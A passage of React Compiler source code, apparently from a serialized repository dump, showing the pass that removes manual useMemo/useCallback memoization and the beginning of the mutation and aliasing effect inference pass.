`Expected a callback function to be passed to ${kind}`,\n        description:\n          kind === 'useCallback'\n            ? 'The first argument to useCallback() must be a function to cache'\n            : 'The first argument to useMemo() must be a function that calculates a result to cache',\n        suggestions: null,\n      }).withDetails({\n        kind: 'error',\n        loc: instr.value.loc,\n        message:\n          kind === 'useCallback'\n            ? `Expected a callback function`\n            : `Expected a memoization function`,\n      }),\n    );\n    return null;\n  }\n  if (depsListPlace == null) {\n    return {\n      fnPlace,\n      depsList: null,\n      depsLoc: null,\n    };\n  }\n  const maybeDepsList =\n    depsListPlace.kind === 'Identifier'\n      ? sidemap.maybeDepsLists.get(depsListPlace.identifier.id)\n      : null;\n  if (maybeDepsList == null) {\n    env.recordError(\n      CompilerDiagnostic.create({\n        category: ErrorCategory.UseMemo,\n        reason: `Expected the dependency list for ${kind} to be an array literal`,\n        description: `Expected the dependency list for ${kind} to be an array literal`,\n        suggestions: null,\n      }).withDetails({\n        kind: 'error',\n        loc:\n          depsListPlace?.kind === 'Identifier' ? depsListPlace.loc : instr.loc,\n        message: `Expected the dependency list for ${kind} to be an array literal`,\n      }),\n    );\n    return null;\n  }\n  const depsList: Array<ManualMemoDependency> = [];\n  for (const dep of maybeDepsList.deps) {\n    const maybeDep = sidemap.maybeDeps.get(dep.identifier.id);\n    if (maybeDep == null) {\n      env.recordError(\n        CompilerDiagnostic.create({\n          category: ErrorCategory.UseMemo,\n          reason: `Expected the dependency list to be an array of simple expressions (e.g. \\`x\\`, \\`x.y.z\\`, \\`x?.y?.z\\`)`,\n          description: `Expected the dependency list to be an array of simple expressions (e.g. \\`x\\`, \\`x.y.z\\`, \\`x?.y?.z\\`)`,\n          suggestions: null,\n        }).withDetails({\n          kind: 'error',\n          loc: dep.loc,\n          message: `Expected the dependency list to be an array of simple expressions (e.g. \\`x\\`, \\`x.y.z\\`, \\`x?.y?.z\\`)`,\n        }),\n      );\n    } else {\n      depsList.push(maybeDep);\n    }\n  }\n  return {\n    fnPlace,\n    depsList,\n    depsLoc: maybeDepsList.loc,\n  };\n}\n\n/*\n * Removes manual memoization using the `useMemo` and `useCallback` APIs. This pass is designed\n * to compose with InlineImmediatelyInvokedFunctionExpressions, and needs to run prior to entering\n * SSA form (alternatively we could refactor and re-EnterSSA after inlining). Therefore it cannot\n * rely on type inference to find useMemo/useCallback invocations, and instead does basic tracking\n * of globals and property loads to find both direct calls as well as usage via the React namespace,\n * eg `React.useMemo()`.\n *\n * This pass also validates that useMemo callbacks return a value (not void), ensuring that useMemo\n * is only used for memoizing values and not for running arbitrary side effects.\n */\nexport function dropManualMemoization(func: HIRFunction): void {\n  const isValidationEnabled =\n    func.env.config.validatePreserveExistingMemoizationGuarantees ||\n    func.env.config.validateNoSetStateInRender ||\n    func.env.config.enablePreserveExistingMemoizationGuarantees;\n  const optionals = findOptionalPlaces(func);\n  const sidemap: IdentifierSidemap = {\n    functions: new Map(),\n    manualMemos: new Map(),\n    react: new Set(),\n    maybeDeps: new Map(),\n    maybeDepsLists: new Map(),\n    optionals,\n  };\n  let nextManualMemoId = 0;\n\n  /**\n   * Phase 1:\n   * - Overwrite manual memoization from\n   *   CallExpression callee=\"useMemo/Callback\", args=[fnArg, depslist])\n   *   to either\n   *   CallExpression callee=fnArg\n   *   LoadLocal fnArg\n   * - (if validation is enabled) collect manual memoization markers\n   */\n  const queuedInserts: Map<\n    InstructionId,\n    TInstruction<StartMemoize> | TInstruction<FinishMemoize>\n  > = new Map();\n  for (const [_, block] of func.body.blocks) {\n    for (let i = 0; i < block.instructions.length; i++) {\n      const instr = block.instructions[i]!;\n      if (\n        instr.value.kind === 'CallExpression' ||\n        instr.value.kind === 'MethodCall'\n      ) {\n        const id =\n          instr.value.kind === 'CallExpression'\n            ? instr.value.callee.identifier.id\n            : instr.value.property.identifier.id;\n\n        const manualMemo = sidemap.manualMemos.get(id);\n        if (manualMemo != null) {\n          const memoDetails = extractManualMemoizationArgs(\n            instr as TInstruction<CallExpression> | TInstruction<MethodCall>,\n            manualMemo.kind,\n            sidemap,\n            func.env,\n          );\n\n          if (memoDetails == null) {\n            continue;\n          }\n          const {fnPlace, depsList, depsLoc} = memoDetails;\n\n          instr.value = getManualMemoizationReplacement(\n            fnPlace,\n            instr.value.loc,\n            manualMemo.kind,\n          );\n          if (isValidationEnabled) {\n            /**\n             * Explicitly bail out when we encounter manual memoization\n             * without inline instructions, as our current validation\n             * assumes that source depslists closely match inferred deps\n             * due to the `exhaustive-deps` lint rule (which only provides\n             * diagnostics for inline memo functions)\n             * ```js\n             * useMemo(opaqueFn, [dep1, dep2]);\n             * ```\n             * While we could handle this by diffing reactive scope deps\n             * of the opaque arg against the source depslist, this pattern\n             * is rare and likely sketchy.\n             */\n            if (!sidemap.functions.has(fnPlace.identifier.id)) {\n              func.env.recordError(\n                CompilerDiagnostic.create({\n                  category: ErrorCategory.UseMemo,\n                  reason: `Expected the first argument to be an inline function expression`,\n                  description: `Expected the first argument to be an inline function expression`,\n                  suggestions: [],\n                }).withDetails({\n                  kind: 'error',\n                  loc: fnPlace.loc,\n                  message: `Expected the first argument to be an inline function expression`,\n                }),\n              );\n              continue;\n            }\n            const memoDecl: Place =\n              manualMemo.kind === 'useMemo'\n                ? instr.lvalue\n                : {\n                    kind: 'Identifier',\n                    identifier: fnPlace.identifier,\n                    effect: Effect.Unknown,\n                    reactive: false,\n                    loc: fnPlace.loc,\n                  };\n\n            const [startMarker, finishMarker] = makeManualMemoizationMarkers(\n              fnPlace,\n              func.env,\n              depsList,\n              depsLoc,\n              memoDecl,\n              nextManualMemoId++,\n            );\n\n            /**\n             * Insert StartMarker right after the `useMemo`/`useCallback` load to\n             * ensure all temporaries created when lowering the inline fn expression\n             * are included.\n             * e.g.\n             * ```\n             * 0: LoadGlobal useMemo\n             * 1: StartMarker deps=[var]\n             * 2: t0 = LoadContext [var]\n             * 3: function deps=t0\n             * ...\n             * ```\n             */\n            queuedInserts.set(manualMemo.loadInstr.id, startMarker);\n            queuedInserts.set(instr.id, finishMarker);\n          }\n        }\n      } else {\n        collectTemporaries(instr, func.env, sidemap);\n      }\n    }\n  }\n\n  /**\n   * Phase 2: Insert manual memoization markers as needed\n   */\n  if (queuedInserts.size > 0) {\n    let hasChanges = false;\n    for (const [_, block] of func.body.blocks) {\n      let nextInstructions: Array<Instruction> | null = null;\n      for (let i = 0; i < block.instructions.length; i++) {\n        const instr = block.instructions[i];\n        const insertInstr = queuedInserts.get(instr.id);\n        if (insertInstr != null) {\n          nextInstructions = nextInstructions ?? block.instructions.slice(0, i);\n          nextInstructions.push(instr);\n          nextInstructions.push(insertInstr);\n        } else if (nextInstructions != null) {\n          nextInstructions.push(instr);\n        }\n      }\n      if (nextInstructions !== null) {\n        block.instructions = nextInstructions;\n        hasChanges = true;\n      }\n    }\n\n    if (hasChanges) {\n      markInstructionIds(func.body);\n    }\n  }\n}\n\nfunction findOptionalPlaces(fn: HIRFunction): Set<IdentifierId> {\n  const optionals = new Set<IdentifierId>();\n  for (const [, block] of fn.body.blocks) {\n    if (block.terminal.kind === 'optional' && block.terminal.optional) {\n      const optionalTerminal = block.terminal;\n      let testBlock = fn.body.blocks.get(block.terminal.test)!;\n      loop: while (true) {\n        const terminal = testBlock.terminal;\n        switch (terminal.kind) {\n          case 'branch': {\n            if (terminal.fallthrough === optionalTerminal.fallthrough) {\n              // found it\n              const consequent = fn.body.blocks.get(terminal.consequent)!;\n              const last = consequent.instructions.at(-1);\n              if (last !== undefined && last.value.kind === 'StoreLocal') {\n                optionals.add(last.value.value.identifier.id);\n              }\n              break loop;\n            } else {\n              testBlock = fn.body.blocks.get(terminal.fallthrough)!;\n            }\n            break;\n          }\n          case 'optional':\n          case 'logical':\n          case 'sequence':\n          case 'ternary': {\n            testBlock = fn.body.blocks.get(terminal.fallthrough)!;\n            break;\n          }\n          case 'maybe-throw': {\n            testBlock = fn.body.blocks.get(terminal.continuation)!;\n            break;\n          }\n          default: {\n            CompilerError.invariant(false, {\n              reason: `Unexpected terminal in optional`,\n              message: `Unexpected ${terminal.kind} in optional`,\n              loc: terminal.loc,\n            });\n          }\n        }\n      }\n    }\n  }\n  return optionals;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Inference/InferMutationAliasingEffects.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  CompilerDiagnostic,\n  CompilerError,\n  Effect,\n  SourceLocation,\n  ValueKind,\n} from '..';\nimport {\n  BasicBlock,\n  BlockId,\n  DeclarationId,\n  Environment,\n  FunctionExpression,\n  GeneratedSource,\n  getHookKind,\n  HIRFunction,\n  Hole,\n  IdentifierId,\n  Instruction,\n  InstructionKind,\n  InstructionValue,\n  isArrayType,\n  isJsxType,\n  isMapType,\n  isPrimitiveType,\n  isRefOrRefValue,\n  isSetType,\n  makeIdentifierId,\n  Phi,\n  Place,\n  SpreadPattern,\n  Type,\n  ValueReason,\n} from '../HIR';\nimport {\n  eachInstructionValueOperand,\n  eachPatternItem,\n  eachTerminalOperand,\n  eachTerminalSuccessor,\n} from '../HIR/visitors';\n\nimport {\n  assertExhaustive,\n  getOrInsertDefault,\n  getOrInsertWith,\n  Set_isSuperset,\n} from '../Utils/utils';\nimport {\n  printAliasingEffect,\n  printAliasingSignature,\n  printIdentifier,\n  printInstruction,\n  printInstructionValue,\n  printPlace,\n} from '../HIR/PrintHIR';\nimport {FunctionSignature} from '../HIR/ObjectShape';\nimport prettyFormat from 'pretty-format';\nimport {createTemporaryPlace} from '../HIR/HIRBuilder';\nimport {\n  AliasingEffect,\n  AliasingSignature,\n  hashEffect,\n  MutationReason,\n} from './AliasingEffects';\nimport {ErrorCategory} from '../CompilerError';\n\nconst DEBUG = false;\n\n/**\n * Infers the mutation/aliasing effects for instructions and terminals and annotates\n * them on the HIR, making the effects of builtin instructions/functions as well as\n * user-defined functions explicit. These effects then form the basis for subsequent\n * analysis to determine the mutable range of each value in the program — the set of\n * instructions over which the value is created and mutated — as well as validation\n * against invalid code.\n *\n * At a high level the approach is:\n * - Determine a set of candidate effects based purely on the syntax of the instruction\n *   and the types involved. These candidate effects are cached the first time each\n *   instruction is visited. The idea is to reason about the semantics of the instruction\n *   or function in isolation, separately from how those effects may interact with later\n *   abstract interpretation.\n * - Then we do abstract interpretation over the HIR, iterating until reaching a fixpoint.\n *   This phase tracks the abstract kind of each value (mutable, primitive, frozen, etc)\n *   and the set of values pointed to by each identifier. Each candidate effect is \"applied\"\n *   to the current abtract state, and effects may be dropped or rewritten accordingly.\n *   For example, a \"MutateConditionally <x>\" effect may be dropped if x is not a mutable\n *   value. A \"Mutate <y>\" effect may get converted into a \"MutateFrozen <error>\" effect\n *   if y is mutable, etc.\n */\nexport function inferMutationAliasingEffects(\n  fn: HIRFunction,\n  {isFunctionExpression}: {isFunctionExpression: boolean} = {\n    isFunctionExpression: false,\n  },\n): void {\n  const initialState = InferenceState.empty(fn.env, isFunctionExpression);\n\n  // Map of blocks to the last (merged) incoming state that was processed\n  const statesByBlock: Map<BlockId, InferenceState> = new Map();\n\n  for (const ref of fn.context) {\n    // TODO: using InstructionValue as a bit of a hack, but it's pragmatic\n    const value: InstructionValue = {\n      kind: 'ObjectExpression',\n      properties: [],\n      loc: ref.loc,\n    };\n    initialState.initialize(value, {\n      kind: ValueKind.Context,\n      reason: new Set([ValueReason.Other]),\n    });\n    initialState.define(ref, value);\n  }\n\n  const paramKind: AbstractValue = isFunctionExpression\n    ? {\n        kind: ValueKind.Mutable,\n        reason: new Set([ValueReason.Other]),\n      }\n    : {\n        kind: ValueKind.Frozen,\n        reason: new Set([ValueReason.ReactiveFunctionArgument]),\n      };\n\n  if (fn.fnType === 'Component') {\n    CompilerError.invariant(fn.params.length <= 2, {\n      reason:\n        'Expected React component to have not more than two parameters: one for props and for ref',\n      loc: fn.loc,\n    });\n    const [props, ref] = fn.params;\n    if (props != null) {\n      inferParam(props, initialState, paramKind);\n    }\n    if (ref != null) {\n      const place = ref.kind === 'Identifier' ? ref : ref.place;\n      const value: InstructionValue = {\n        kind: 'ObjectExpression',\n        properties: [],\n        loc: place.loc,\n      };\n      initialState.initialize(value, {\n        kind: ValueKind.Mutable,\n        reason: new Set([ValueReason.Other]),\n      });\n      initialState.define(place, value);\n    }\n  } else {\n    for (const param of fn.params) {\n      inferParam(param, initialState, paramKind);\n    }\n  }\n\n  /*\n   * Multiple predecessors may be visited prior to reaching a given successor,\n   * so track the list of incoming state for each successor block.\n   * These are merged when reaching that block again.\n   */\n  const queuedStates: Map<BlockId, InferenceState> = new Map();\n  function queue(blockId: BlockId, state: InferenceState): void {\n    let queuedState = queuedStates.get(blockId);\n    if (queuedState != null) {\n      // merge the queued states for this block\n      state = queuedState.merge(state) ?? queuedState;\n      queuedStates.set(blockId, state);\n    } else {\n      /*\n       * this is the first queued state for this block, see whether\n       * there are changed relative to the last time it was processed.\n       */\n      const prevState = statesByBlock.get(blockId);\n      const nextState = prevState != null ? prevState.merge(state) : state;\n      if (nextState != null) {\n        queuedStates.set(blockId, nextState);\n      }\n    }\n  }\n  queue(fn.body.entry, initialState);\n\n  const hoistedContextDeclarations = findHoistedContextDeclarations(fn);\n\n  const context = new Context(\n    isFunctionExpression,\n    fn,\n    hoistedContextDeclarations,\n    findNonMutatedDestructureSpreads(fn),\n  );\n\n  let iterationCount = 0;\n  while (queuedStates.size !== 0) {\n    iterationCount++;\n    if (iterationCount > 100) {\n      CompilerError.invariant(false, {\n        reason: `[InferMutationAliasingEffects] Potential infinite loop`,\n        description: `A value, temporary place, or effect was not cached properly`,\n        loc: fn.loc,\n      });\n    }\n    for (const [blockId, block] of fn.body.blocks) {\n      const incomingState = queuedStates.get(blockId);\n      queuedStates.delete(blockId);\n      if (incomingState == null) {\n        continue;\n      }\n\n      statesByBlock.set(blockId, incomingState);\n      const state = incomingState.clone();\n      inferBlock(context, state, block);\n\n      for (const nextBlockId of eachTerminalSuccessor(block.terminal)) {\n        queue(nextBlockId, state);\n      }\n    }\n  }\n  return;\n}\n\nfunction findHoistedContextDeclarations(\n  fn: HIRFunction,\n): Map<DeclarationId, Place | null> {\n  const hoisted = new Map<DeclarationId, Place | null>();\n  function visit(place: Place): void {\n    if (\n      hoisted.has(place.identifier.declarationId) &&\n      hoisted.get(place.identifier.declarationId) == null\n    ) {\n      // If this is the first load of the value, store the location\n      hoisted.set(place.identifier.declarationId, place);\n    }\n  }\n  for (const block of fn.body.blocks.values()) {\n    for (const instr of block.instructions) {\n      if (instr.value.kind === 'DeclareContext') {\n        const kind = instr.value.lvalue.kind;\n        if (\n          kind == InstructionKind.HoistedConst ||\n          kind == InstructionKind.HoistedFunction ||\n          kind == InstructionKind.HoistedLet\n        ) {\n          hoisted.set(instr.value.lvalue.place.identifier.declarationId, null);\n        }\n      } else {\n        for (const operand of eachInstructionValueOperand(instr.value)) {\n          visit(operand);\n        }\n      }\n    }\n    for (const operand of eachTerminalOperand(block.terminal)) {\n      visit(operand);\n    }\n  }\n  return hoisted;\n}\n\nclass Context {\n  internedEffects: Map<string, AliasingEffect> = new Map();\n  instructionSignatureCache: Map<Instruction, InstructionSignature> = new Map();\n  effectInstructionValueCache: Map<AliasingEffect, InstructionValue> =\n    new Map();\n  applySignatureCache: Map<\n    AliasingSignature,\n    Map<AliasingEffect, Array<AliasingEffect> | null>\n  > = new Map();\n  catchHandlers: Map<BlockId, Place> = new Map();\n  functionSignatureCache: Map<FunctionExpression, AliasingSignature> =\n    new Map();\n  isFuctionExpression: boolean;\n  fn: HIRFunction;\n  hoistedContextDeclarations: Map<DeclarationId, Place | null>;\n  nonMutatingSpreads: Set<IdentifierId>;\n\n  constructor(\n    isFunctionExpression: boolean,\n    fn: HIRFunction,\n    hoistedContextDeclarations: Map<DeclarationId, Place | null>,\n    nonMutatingSpreads: Set<IdentifierId>,\n  ) {\n    this.isFuctionExpression = isFunctionExpression;\n    this.fn = fn;\n    this.hoistedContextDeclarations = hoistedContextDeclarations;\n    this.nonMutatingSpreads = nonMutatingSpreads;\n  }\n\n  cacheApplySignature(\n    signature: AliasingSignature,\n    effect: Extract<AliasingEffect, {kind: 'Apply'}>,\n    f: () => Array<AliasingEffect> | null,\n  ): Array<AliasingEffect> | null {\n    const inner = getOrInsertDefault(\n      this.applySignatureCache,\n      signature,\n      new Map(),\n    );\n    return getOrInsertWith(inner, effect, f);\n  }\n\n  internEffect(effect: AliasingEffect): AliasingEffect {\n    const hash = hashEffect(effect);\n    let interned = this.internedEffects.get(hash);\n    if (interned == null) {\n      this.internedEffects.set(hash, effect);\n      interned = effect;\n    }\n    return interned;\n  }\n}\n\n/**\n * Finds objects created via ObjectPattern spread destructuring\n * (`const {x, ...spread} = ...`) where a) the rvalue is known frozen and\n * b) the spread value cannot possibly be directly mutated. The idea is that\n * for this set of values, we can treat the spread object as frozen.\n *\n * The primary use case for this is props spreading:\n *\n * ```\n * function Component({prop, ...otherProps}) {\n *   const transformedProp = transform(prop, otherProps.foo);\n *   // pass `otherProps` down:\n *   return <Foo {...otherProps} prop={transformedProp} />;\n * }\n * ```\n *\n * Here we know that since `otherProps` cannot be mutated, we don't have to treat\n * it as mutable: `otherProps.foo` only reads a value that must be frozen, so it\n * can be treated as frozen too.\n */\nfunction findNonMutatedDestructureSpreads(fn: HIRFunction): Set<IdentifierId> {\n  const knownFrozen = new Set<IdentifierId>();\n  if (fn.fnType === 'Component') {\n    const [props] = fn.params;\n    if (props != null && props.kind === 'Identifier') {\n      knownFrozen.add(props.identifier.id);\n    }\n  } else {\n    for (const param of fn.params) {\n      if (param.kind === 'Identifier') {\n        knownFrozen.add(param.identifier.id);\n      }\n    }\n  }\n\n  // Map of temporaries to identifiers for spread objects\n  const candidateNonMutatingSpreads = new Map<IdentifierId, IdentifierId>();\n  for (const block of fn.body.blocks.values()) {\n    if (candidateNonMutatingSpreads.size !== 0) {\n      for (const phi of block.phis) {\n        for (const operand of phi.operands.values()) {\n          const spread = candidateNonMutatingSpreads.get(operand.identifier.id);\n          if (spread != null) {\n            candidateNonMutatingSpreads.delete(spread);\n          }\n        }\n      }\n    }\n    for (const instr of block.instructions) {\n      const {lvalue, value} = instr;\n      switch (value.kind) {\n        case 'Destructure': {\n          if (\n            !knownFrozen.has(value.value.identifier.id) ||\n            !(\n              value.lvalue.kind === InstructionKind.Let ||\n              value.lvalue.kind === InstructionKind.Const\n            ) ||\n            value.lvalue.pattern.kind !== 'ObjectPattern'\n          ) {\n            continue;\n          }\n          for (const item of value.lvalue.pattern.properties) {\n            if (item.kind !== 'Spread') {\n              continue;\n            }\n            candidateNonMutatingSpreads.set(\n              item.place.identifier.id,\n              item.place.identifier.id,\n            );\n          }\n          break;\n        }\n        case 'LoadLocal': {\n          const spread = candidateNonMutatingSpreads.get(\n            value.place.identifier.id,\n          );\n          if (spread != null) {\n            candidateNonMutatingSpreads.set(lvalue.identifier.id, spread);\n          }\n          break;\n        }\n        case 'StoreLocal': {\n          const spread = candidateNonMutatingSpreads.get(\n            value.value.identifier.id,\n          );\n          if (spread != null) {\n            candidateNonMutatingSpreads.set(lvalue.identifier.id, spread);\n            candidateNonMutatingSpreads.set(\n              value.lvalue.place.identifier.id,\n              spread,\n            );\n          }\n          break;\n        }\n        case 'JsxFragment':\n        case 'JsxExpression': {\n          // Passing objects created with spread to jsx can't mutate them\n          break;\n        }\n        case 'PropertyLoad': {\n          // Properties must be frozen since the original value was frozen\n          break;\n        }\n        case 'CallExpression':\n        case 'MethodCall': {\n          const callee =\n            value.kind === 'CallExpression' ? value.callee : value.property;\n          if (getHookKind(fn.env, callee.identifier) != null) {\n            // Hook calls have frozen arguments, and non-ref returns are frozen\n            if (!isRefOrRefValue(lvalue.identifier)) {\n              knownFrozen.add(lvalue.identifier.id);\n            }\n          } else {\n            // Non-hook calls check their operands, since they are potentially mutable\n            if (candidateNonMutatingSpreads.size !== 0) {\n              // Otherwise any reference to the spread object itself may mutate\n              for (const operand of eachInstructionValueOperand(value)) {\n                const spread = candidateNonMutatingSpreads.get(\n                  operand.identifier.id,\n                );\n                if (spread != null) {\n                  candidateNonMutatingSpreads.delete(spread);\n                }\n              }\n            }\n          }\n          break;\n        }\n        default: {\n          if (candidateNonMutatingSpreads.size !== 0) {\n            // Otherwise any reference to the spread object itself may mutate\n            for (const operand of eachInstructionValueOperand(value)) {\n              const spread = candidateNonMutatingSpreads.get(\n                operand.identifier.id,\n              );\n              if (spread != null) {\n                candidateNonMutatingSpreads.delete(spread);\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n\n  const nonMutatingSpreads = new Set<IdentifierId>();\n  for (const [key, value] of candidateNonMutatingSpreads) {\n    if (key === value) {\n      nonMutatingSpreads.add(key);\n    }\n  }\n  return nonMutatingSpreads;\n}\n\nfunction inferParam(\n  param: Place | SpreadPattern,\n  initialState: InferenceState,\n  paramKind: AbstractValue,\n): void {\n  const place = param.kind === 'Identifier' ? param : param.place;\n  const value: InstructionValue = {\n    kind: 'Primitive',\n    loc: place.loc,\n    value: undefined,\n  };\n  initialState.initialize(value, paramKind);\n  initialState.define(place, value);\n}\n\nfunction inferBlock(\n  context: Context,\n  state: InferenceState,\n  block: BasicBlock,\n): void {\n  for (const phi of block.phis) {\n    state.inferPhi(phi);\n  }\n\n  for (const instr of block.instructions) {\n    let instructionSignature = context.instructionSignatureCache.get(instr);\n    if (instructionSignature == null) {\n      instructionSignature = computeSignatureForInstruction(\n        context,\n        state.env,\n        instr,\n      );\n      context.instructionSignatureCache.set(instr, instructionSignature);\n    }\n    const effects = applySignature(context, state, instructionSignature, instr);\n    instr.effects = effects;\n  }\n  const terminal = block.terminal;\n  if (terminal.kind === 'try' && terminal.handlerBinding != null) {\n    context.catchHandlers.set(terminal.handler, terminal.handlerBinding);\n  } else if (terminal.kind === 'maybe-throw' && terminal.handler !== null) {\n    const handlerParam = context.catchHandlers.get(terminal.handler);\n    if (handlerParam != null) {\n      CompilerError.invariant(state.kind(handlerParam) != null, {\n        reason:\n          'Expected catch binding to be initialized with a DeclareLocal Catch instruction',\n        loc: terminal.loc,\n      });\n      const effects: Array<AliasingEffect> = [];\n      for (const instr of block.instructions) {\n        if (\n          instr.value.kind === 'CallExpression' ||\n          instr.value.kind === 'MethodCall'\n        ) {\n          /**\n           * Many instructions can error, but only calls can throw their result as the error\n           * itself. For example, `c = a.b` can throw if `a` is nullish, but the thrown value\n           * is an error object synthesized by the JS runtime. Whereas `throwsInput(x)` can\n           * throw (effectively) the result of the call.\n           *\n           * TODO: call applyEffect() instead. This meant that the catch param wasn't inferred\n           * as a mutable value, though. See `try-catch-try-value-modified-in-catch-escaping.js`\n           * fixture as an example\n           */\n          state.appendAlias(handlerParam, instr.lvalue);\n          const kind = state.kind(instr.lvalue).kind;\n          if (kind === ValueKind.Mutable || kind == ValueKind.Context) {\n            effects.push(\n              context.internEffect({\n                kind: 'Alias',\n                from: instr.lvalue,\n                into: handlerParam,\n              }),\n            );\n          }\n        }\n      }\n      terminal.effects = effects.length !== 0 ? effects : null;\n    }\n  } else if (terminal.kind === 'return') {\n    if (!context.isFuctionExpression) {\n      terminal.effects = [\n        context.internEffect({\n          kind: 'Freeze',\n          value: terminal.value,\n          reason: ValueReason.JsxCaptured,\n        }),\n      ];\n    }\n  }\n}\n\n/**\n * Applies the signature to the given state to determine the precise set of effects\n * that will occur in practice. This takes into account the inferred state of each\n * variable. For example, the signature may have a `ConditionallyMutate x` effect.\n * Here, we check the abstract type of `x` and either record a `Mutate x` if x is mutable\n * or no effect if x is a primitive, global, or frozen.\n *\n * This phase may also emit errors, for example MutateLocal on a frozen value is invalid.\n */\nfunction applySignature(\n  context: Context,\n  state: InferenceState,\n  signature: InstructionSignature,\n  instruction: Instruction,\n): Array<AliasingEffect> | null {\n  const effects: Array<AliasingEffect> = [];\n  /**\n   * For function instructions, eagerly validate that they aren't mutating\n   * a known-frozen value.\n   *\n   * TODO: make sure we're also validating against global mutations somewhere, but\n   * account for this being allowed in effects/event handlers.\n   */\n  if (\n    instruction.value.kind === 'FunctionExpression' ||\n    instruction.value.kind === 'ObjectMethod'\n  ) {\n    const aliasingEffects =\n      instruction.value.loweredFunc.func.aliasingEffects ?? [];\n    const context = new Set(\n      instruction.value.loweredFunc.func.context.map(p => p.identifier.id),\n    );\n    for (const effect of aliasingEffects) {\n      if (effect.kind === 'Mutate' || effect.kind === 'MutateTransitive') {\n        if (!context.has(effect.value.identifier.id)) {\n          continue;\n        }\n        const value = state.kind(effect.value);\n        switch (value.kind) {\n          case ValueKind.Frozen: {\n            const reason = getWriteErrorReason({\n              kind: value.kind,\n              reason: value.reason,\n            });\n            const variable =\n              effect.value.identifier.name !== null &&\n              effect.value.identifier.name.kind === 'named'\n                ? `\\`${effect.value.identifier.name.value}\\``\n                : 'value';\n            const diagnostic = CompilerDiagnostic.create({\n              category: ErrorCategory.Immutability,\n              reason: 'This value cannot be modified',\n              description: reason,\n            }).withDetails({\n              kind: 'error',\n              loc: effect.value.loc,\n              message: `${variable} cannot be modified`,\n            });\n            if (\n              effect.kind === 'Mutate' &&\n              effect.reason?.kind === 'AssignCurrentProperty'\n            ) {\n              diagnostic.withDetails({\n                kind: 'hint',\n                message: `Hint: If this value is a Ref (value returned by \\`useRef()\\`), rename the variable to end in \"Ref\".`,\n              });\n            }\n            effects.push({\n              kind: 'MutateFrozen',\n              place: effect.value,\n              error: diagnostic,\n            });\n          }\n        }\n      }\n    }\n  }\n\n  /*\n   * Track which values we've already aliased once, so that we can switch to\n   * appendAlias() for subsequent aliases into the same value\n   */\n  const initialized = new Set<IdentifierId>();\n\n  if (DEBUG) {\n    console.log(printInstruction(instruction));\n  }\n\n  for (const effect of signature.effects) {\n    applyEffect(context, state, effect, initialized, effects);\n  }\n  if (DEBUG) {\n    console.log(\n      prettyFormat(state.debugAbstractValue(state.kind(instruction.lvalue))),\n    );\n    console.log(\n      effects.map(effect => `  ${printAliasingEffect(effect)}`).join('\\n'),\n    );\n  }\n  if (\n    !(state.isDefined(instruction.lvalue) && state.kind(instruction.lvalue))\n  ) {\n    CompilerError.invariant(false, {\n      reason: `Expected instruction lvalue to be initialized`,\n      loc: instruction.loc,\n    });\n  }\n  return effects.length !== 0 ? effects : null;\n}\n\nfunction applyEffect(\n  context: Context,\n  state: InferenceState,\n  _effect: AliasingEffect,\n  initialized: Set<IdentifierId>,\n  effects: Array<AliasingEffect>,\n): void {\n  const effect = context.internEffect(_effect);\n  if (DEBUG) {\n    console.log(printAliasingEffect(effect));\n  }\n  switch (effect.kind) {\n    case 'Freeze': {\n      const didFreeze = state.freeze(effect.value, effect.reason);\n      if (didFreeze) {\n        effects.push(effect);\n      }\n      break;\n    }\n    case 'Create': {\n      CompilerError.invariant(!initialized.has(effect.into.identifier.id), {\n        reason: `Cannot re-initialize variable within an instruction`,\n        description: `Re-initialized ${printPlace(effect.into)} in ${printAliasingEffect(effect)}`,\n        loc: effect.into.loc,\n      });\n      initialized.add(effect.into.identifier.id);\n\n      let value = context.effectInstructionValueCache.get(effect);\n      if (value == null) {\n        value = {\n          kind: 'ObjectExpression',\n          properties: [],\n          loc: effect.into.loc,\n        };\n        context.effectInstructionValueCache.set(effect, value);\n      }\n      state.initialize(value, {\n        kind: effect.value,\n        reason: new Set([effect.reason]),\n      });\n      state.define(effect.into, value);\n      effects.push(effect);\n      break;\n    }\n    case 'ImmutableCapture': {\n      const kind = state.kind(effect.from).kind;\n      switch (kind) {\n        case ValueKind.Global:\n        case ValueKind.Primitive: {\n          // no-op: we don't need to track data flow for copy types\n          break;\n        }\n        default: {\n          effects.push(effect);\n        }\n      }\n      break;\n    }\n    case 'CreateFrom': {\n      CompilerError.invariant(!initialized.has(effect.into.identifier.id), {\n        reason: `Cannot re-initialize variable within an instruction`,\n        description: `Re-initialized ${printPlace(effect.into)} in ${printAliasingEffect(effect)}`,\n        loc: effect.into.loc,\n      });\n      initialized.add(effect.into.identifier.id);\n\n      const fromValue = state.kind(effect.from);\n      let value = context.effectInstructionValueCache.get(effect);\n      if (value == null) {\n        value = {\n          kind: 'ObjectExpression',\n          properties: [],\n          loc: effect.into.loc,\n        };\n        context.effectInstructionValueCache.set(effect, value);\n      }\n      state.initialize(value, {\n        kind: fromValue.kind,\n        reason: new Set(fromValue.reason),\n      });\n      state.define(effect.into, value);\n      switch (fromValue.kind) {\n        case ValueKind.Primitive:\n        case ValueKind.Global: {\n          effects.push({\n            kind: 'Create',\n            value: fromValue.kind,\n            into: effect.into,\n            reason: [...fromValue.reason][0] ?? ValueReason.Other,\n          });\n          break;\n        }\n        case ValueKind.Frozen: {\n          effects.push({\n            kind: 'Create',\n            value: fromValue.kind,\n            into: effect.into,\n            reason: [...fromValue.reason][0] ?? ValueReason.Other,\n          });\n          applyEffect(\n            context,\n            state,\n            {\n              kind: 'ImmutableCapture',\n              from: effect.from,\n              into: effect.into,\n            },\n            initialized,\n            effects,\n          );\n          break;\n        }\n        default: {\n          effects.push(effect);\n        }\n      }\n      break;\n    }\n    case 'CreateFunction': {\n      CompilerError.invariant(!initialized.has(effect.into.identifier.id), {\n        reason: `Cannot re-initialize variable within an instruction`,\n        description: `Re-initialized ${printPlace(effect.into)} in ${printAliasingEffect(effect)}`,\n        loc: effect.into.loc,\n      });\n      initialized.add(effect.into.identifier.id);\n\n      effects.push(effect);\n      /**\n       * We consider the function mutable if it has any mutable context variables or\n       * any side-effects that need to be tracked if the function is called.\n       */\n      const hasCaptures = effect.captures.some(capture => {\n        switch (state.kind(capture).kind) {\n          case ValueKind.Context:\n          case ValueKind.Mutable: {\n            return true;\n          }\n          default: {\n            return false;\n          }\n        